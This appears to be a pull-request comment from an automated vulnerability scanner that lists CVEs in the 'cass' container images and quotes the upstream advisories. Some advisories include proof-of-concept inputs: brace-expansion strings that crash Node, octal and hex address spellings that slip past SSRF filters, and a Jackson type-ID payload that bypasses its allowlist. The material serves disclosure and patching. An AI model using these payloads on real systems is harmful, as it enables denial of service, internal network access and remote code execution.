Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

@github-actions

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-distroless:latest

📦 Image Reference cass-cass-distroless:latest
digestsha256:076f4fa1bd064d6f0331b2214309ae40da3f0381685518cb0fd8fcfbd8b151dc
vulnerabilitiescritical: 0 high: 3 medium: 0 low: 0
platformlinux/amd64
size104 MB
packages486
📦 Base Image gcr.io/distroless/cc-debian13:latest
digestsha256:053b9adbc028d9c3ad170973748a22bb23863c828d21029369c8ff641a5c5f42
vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
critical: 0 high: 2 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--69152 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.9
Fixed version5.0.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.411%
EPSS Percentile34th percentile
Description

Summary

The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

Details

maxLength was enforced in combine(), the single place output grows. Two arrays are built before combine() runs, and neither was bounded.

1. Comma alternatives accumulate without a running total (memory exhaustion)

Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:

values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile27th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

critical: 0 high: 1 medium: 0 low: 0 ip-address 10.2.0 (npm)

pkg:npm/ip-address@10.2.0

high 7.7: CVE--2026--69192 Improper Input Validation

Affected range<=10.3.0
Fixed version10.3.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile22nd percentile
Description

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

Input correctForm() Classified as Resolver reaches Effect
012.0.0.1 12.0.0.1 public 10.0.0.1 internal target allowed
012.012.012.012 12.12.12.12 public 10.10.10.10 internal target allowed
010.0.0.1 10.0.0.1 private 8.0.0.1 public target blocked

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

new URL('http://012.0.0.1/').hostname   // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@<!-- -->10.3.0, then:

const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

@github-actions

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-standalone:latest

📦 Image Reference cass-cass-standalone:latest
digestsha256:1a823974a8db55cf609287be318a6cc7c2eaba30826f863f4a56947c722dce57
vulnerabilitiescritical: 1 high: 20 medium: 0 low: 0
platformlinux/amd64
size1.2 GB
packages1173
📦 Base Image redhat/ubi9-minimal:latest
digestsha256:31648959f2cf4e3fdd14801905e4339fef1d4457763e80094ed30f69562f0a63
vulnerabilitiescritical: 1 high: 18 medium: 19 low: 8
critical: 1 high: 4 medium: 0 low: 0 sqlite 3.34.1-10.el9_8 (rpm)

pkg:rpm/redhat/sqlite@3.34.1-10.el9_8?os_name=redhatlinux&os_version=9

critical 10.0: CVE--2026--51302 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score10
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

A flaw was found in SQLite. A use-after-free vulnerability in the expression evaluation logic, specifically within the sqlite3ReleaseTempReg and exprComputeOperands functions, allows a remote attacker to exploit the system. By supplying a malicious SQL statement, an attacker can cause a denial of service, leak sensitive information, or potentially execute arbitrary code.

high 9.8: CVE--2026--51304 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.340%
EPSS Percentile27th percentile
Description

A flaw was found in sqlite. A remote attacker can exploit a use-after-free vulnerability in the ORDER BY clause parsing routine by crafting a malicious SQL statement. This can lead to an application crash, sensitive information disclosure, and in some cases, arbitrary code execution, allowing the attacker to run their own commands on the affected system.

high 9.8: CVE--2026--51303 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.373%
EPSS Percentile30th percentile
Description

A flaw was found in SQLite. A remote attacker can exploit a use-after-free vulnerability in the core parsing component by sending specially crafted SQL queries. This can lead to an application crash, sensitive information disclosure, and potentially allow the attacker to execute arbitrary code on the affected system.

high 9.8: CVE--2026--51297 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.344%
EPSS Percentile27th percentile
Description

A flaw was found in sqlite. This use-after-free vulnerability in the JSON parsing logic allows remote attackers to craft malicious JSON payloads. This can trigger memory deallocation followed by illegal memory access, potentially leading to arbitrary code execution, sensitive information leakage, or denial of service.

high 8.2: CVE--2026--51296 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
EPSS Score0.332%
EPSS Percentile26th percentile
Description

A flaw was found in SQLite. A use-after-free vulnerability in the SQLite JSON module's jsonRemoveFunc allows a remote attacker to cause a denial of service by crashing the service. This vulnerability can also lead to the disclosure of sensitive heap memory information.

critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http 4.1.135.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.135.Final

high 8.7: CVE--2026--56745 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.612%
EPSS Percentile46th percentile
Description

The SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYN_STREAM frame with FLAG_FIN=0, storing the partially-constructed FullHttpRequest in an internal map (messageMap) to accumulate subsequent DATA frames. When the remote peer sends an RST_STREAM for that stream, or when the accumulated content exceeds maxContentLength, the decoder removes the entry from the map but never releases the pooled ByteBuf, permanently leaking the allocated memory.

high 7.5: CVE--2026--55833 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.423%
EPSS Percentile35th percentile
Description

Summary

Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.

PoC

poc.zip

run with:

bash ./poc/run.sh

expected output:

NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false

The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.

Impact

A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.

high 7.5: CVE--2026--55831 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.423%
EPSS Percentile35th percentile
Description

Summary

Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.

Details

Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.

PoC

poc.zip

run with

bash ./poc/run.sh

expected output:

NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144

The NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wire_bytes=2097164, first_value=1, and last_value=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.

Impact

remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings * 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wire_bytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.

critical: 0 high: 2 medium: 0 low: 0 gnutls 3.8.10-8.el9_8 (rpm)

pkg:rpm/redhat/gnutls@3.8.10-8.el9_8?os_name=redhatlinux&os_version=9

high 7.5: CVE--2026--33846 Improper Handling of Length Parameter Inconsistency

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.263%
EPSS Percentile67th percentile
Description

A heap buffer overflow vulnerability exists in the DTLS handshake fragment reassembly logic of GnuTLS. The issue arises in merge_handshake_packet() where incoming handshake fragments are matched and merged based solely on handshake type, without validating that the message_length field remains consistent across all fragments of the same logical message. An attacker can exploit this by sending crafted DTLS fragments with conflicting message_length values, causing the implementation to allocate a buffer based on a smaller initial fragment and subsequently write beyond its bounds using larger, inconsistent fragments. Because the merge operation does not enforce proper bounds checking against the allocated buffer size, this results in an out-of-bounds write on the heap. The vulnerability is remotely exploitable without authentication via the DTLS handshake path and can lead to application crashes or potential memory corruption.

high 7.5: CVE--2026--33845 Integer Underflow (Wrap or Wraparound)

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.805%
EPSS Percentile54th percentile
Description

A flaw in GnuTLS DTLS handshake parsing allows malformed fragments with zero length and non-zero offset, leading to an integer underflow during reassembly and resulting in an out-of-bounds read. This issue is remotely exploitable and may cause information disclosure or denial of service.

critical: 0 high: 2 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-databind 2.19.2 (maven)

pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.19.2

high 8.1: CVE--2026--54513 Incomplete List of Disallowed Inputs

Affected range>=2.19.0
<2.21.4
Fixed version2.21.4
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.712%
EPSS Percentile50th percentile
Description

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)

  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@omkhar) - finder.

high 8.1: CVE--2026--54512 Incomplete List of Disallowed Inputs

Affected range>=2.19.0
<=2.21.3
Fixed version2.21.4
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.779%
EPSS Percentile53rd percentile
Description

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact

  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @<!-- -->JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element

Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

critical: 0 high: 2 medium: 0 low: 0 glibc 2.34-275.el9_8 (rpm)

pkg:rpm/redhat/glibc@2.34-275.el9_8?os_name=redhatlinux&os_version=9

high 9.8: CVE--2026--0861 Integer Overflow or Wraparound

Affected range>=0
Fixed versionNot Fixed
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.352%
EPSS Percentile28th percentile
Description

A flaw was found in the glibc library. Passing an excessively large alignment value to the memalign suite of functions, such as memalign, posix_memalign, aligned_alloc, valloc and pvalloc, an integer overflow can occur during internal size calculations due to improper overflow checks, causing an allocation of a small chunk of memory which is subsequently used for writing. This issue can result in an application crash or heap memory corruption.

high 7.5: CVE--2026--4046 Reachable Assertion

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.382%
EPSS Percentile31st percentile
Description

A flaw was found in glibc, the GNU C Library. A remote attacker could exploit this vulnerability by providing specially crafted inputs using the IBM1390 or IBM1399 character sets to the iconv() function. This could lead to an assertion failure, causing the application to crash and resulting in a Denial of Service (DoS).

critical: 0 high: 1 medium: 0 low: 0 zlib 1.2.11-40.el9 (rpm)

pkg:rpm/redhat/zlib@1.2.11-40.el9?os_name=redhatlinux&os_version=9

high 8.6: CVE--2026--22184 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected range>=0
Fixed versionNot Fixed
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.388%
EPSS Percentile32nd percentile
Description

A flaw was found in zlib. A global buffer overflow vulnerability exists in the untgz utility, specifically within the TGZfname() function. This flaw allows an attacker to provide an archive name longer than 1024 bytes, leading to an out-of-bounds write. This can result in memory corruption, denial of service, and potentially arbitrary code execution on the affected system.

critical: 0 high: 1 medium: 0 low: 0 attr 2.5.1-3.el9 (rpm)

pkg:rpm/redhat/attr@2.5.1-3.el9?os_name=redhatlinux&os_version=9

high 7.1: CVE--2026--54371 Improper Link Resolution Before File Access ('Link Following')

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.1
